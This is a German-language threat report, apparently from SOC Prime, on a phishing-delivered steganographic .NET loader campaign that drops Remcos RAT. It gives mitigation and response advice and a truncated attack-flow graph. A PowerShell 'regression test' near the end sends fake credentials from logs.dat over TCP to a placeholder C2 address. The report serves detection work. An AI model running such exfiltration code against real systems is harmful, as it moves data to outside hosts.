Eine mehrstufige steganografische Loader-Kampagne liefert weltweit vielfältige Nutzlasten aus

SOC Prime Team

Folgen

Eine mehrstufige steganografische Loader-Kampagne liefert weltweit vielfältige Nutzlasten aus

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Eine mehrstufige Malware-Kampagne nutzt Steganografie und In-Memory-Ausführung, um mehrere Payloads, einschließlich Remcos RAT, auszuliefern. Die Infektionskette beginnt mit einer Phishing-E-Mail, die ein bösartiges Archiv enthält, das eine .NET-Anwendung ablegt. Diese Anwendung verwendet eingebettete Ressourcen und steganografische Methoden, um spätere Phasen direkt in den Speicher zu laden, was der Malware hilft, Festplatten-basierte Erkennung zu vermeiden.

Untersuchung

Die Untersuchung begann, nachdem die Telemetrie eine verdächtige Datei namens GST Debit Note Apr_26.comgekennzeichnet hatte. Analysten stellten fest, dass die Datei eine gepackte 32-Bit-.NET-Anwendung war, die als Spiel getarnt war. Weitere Reverse Engineering-Recherchen enthüllten Steganografie, die in einem .NET-Bitmap-Objekt eingebettet war und den Ladeprogramm der nächsten Stufe, Optimax.dll, verbarg und es ermöglichte, vollständig im Speicher zu laufen.

Minderung

Organisationen sollten starke E-Mail-Filter einsetzen, um verdächtige Archiv-Anhänge und Phishing-Versuche zu blockieren. EDR-Lösungen sollten in der Lage sein, In-Memory-Ausführung, Prozesshollowing und verdächtiges PowerShell-Verhalten zu erkennen. Teams sollten auch unautorisierte Registrierungseinträge überwachen, insbesondere in den Run-Schlüsseln, und strikte Anwendungssteuerung durchsetzen, um zu verhindern, dass nicht signierte Anwendungen gestartet werden.

Reaktion

Betroffene Endpunkte sollten sofort isoliert werden, um seitliche Bewegungen und Datendiebstahl zu begrenzen. Ermittler sollten Speicherforensik durchführen, um dateifreie Komponenten zu identifizieren und das Vorhandensein des Remcos_Mutex_Inj Mutex zu bestätigen. Eine vollständige Überprüfung sollte auch auf unautorisierte Persistenz im AppData Verzeichnis und in den Run-Schlüsseln der Registrierung überprüfen, während die Anmeldeinformationen für alle Benutzer, deren Browser möglicherweise vom Malware erreicht wurden, zurückgesetzt werden sollten.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing["Action – Phishing: Spearphishing Attachment Details: Malicious archive GST Debit Note Apr_26.com sent to victims."] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego["Obfuscated Files or Information: Steganography Details: Hiding Optimax.dll inside a serialized .NET Bitmap object within the executable resource section."] class evasion_stego technique exec_appdomain["Hijack Execution Flow: AppDomainManager Details: Using reflection and AppDomain.Load to execute payload directly from memory without touching disk."] class exec_appdomain technique %% Second Stage loader_stage2["Process Injection: Process Hollowing Details: System Optimizer Ultimate.dll deploys final payload by hollowing a default browser process."] class loader_stage2 technique malware_remcos["Remcos RAT Description: Remote Access Trojan deployed as the final payload."] class malware_remcos malware %% Persistence and Evasion evasion_sandbox["Virtualization/Sandbox Evasion Details: Checking for sbiedll.dll and registry keys to detect sandboxes or virtual machines."] class evasion_sandbox technique persistence_active["Boot or Logon Autostart Execution: Active Setup Details: Copying malware to AppDataRoaming and configuring a Run registry key for persistence."] class persistence_active technique %% Collection and Exfiltration collect_browser["Browser Information Discovery Details: Collecting Chrome and Firefox credentials."] class collect_browser technique steal_cookies["Steal Web Session Cookie Details: Capturing active web session cookies."] class steal_cookies technique exfil_c2["Exfiltration Over C2 Channel Details: Sending captured data from logs.dat to the attacker via Command and Control."] class exfil_c2 technique file_logs["logs.dat Description: Local file used to store

Angriffsfluss

Angreifererzählung & Befehle: Der Angreifer hat erfolgreich einen Fuß in der Tür. Um das Ziel zu erreichen, sammeln sie Systemtelemetrie und verstecken diese in einer Datei namens logs.dat , um als Standard-Systemprotokolle getarnt zu erscheinen. Der Angreifer initiiert dann eine Netzwerkverbindung zur etablierten C2-Infrastruktur (unter Verwendung der IP 1.2.3.4 und Port 37393 für diese Simulation) um die Daten zu exfiltrieren. Dies ahmt das Verhalten eines steganografischen Loaders nach, der versucht, Daten über einen spezifischen, hartcodierten Kanal aus dem Netzwerk zu bewegen.

Regressionstest-Skript:

# Simulation der Datenexfiltration über spezifischen Dateinamen und C2-Parameter
$C2_IP = "1.2.3.4" # Simulierte C2-IP
$C2_PORT = 37393
$FILENAME = "logs.dat"

# 1. Erstellen der 'bösartigen' Daten-Datei
Write-Output "Sensitive Data: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"

# 2. Simulierte Netzwerkverbindung zum C2
# Verwenden eines TCP-Clients, um die spezifische Port/IP-Telemetrie zu erzwingen
try {
    $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
    $stream = $client.GetStream()
    $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
    $stream.Write($data, 0, $data.Length)
    $client.Close()
} catch {
    Write-Host "Verbindung fehlgeschlagen (erwartet, falls IP nicht existent ist), aber die Telemetrie sollte von der Firewall erfasst werden."
}

Bereinigungsbefehle:

# Entfernen der simulierten bösartigen Datei
Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten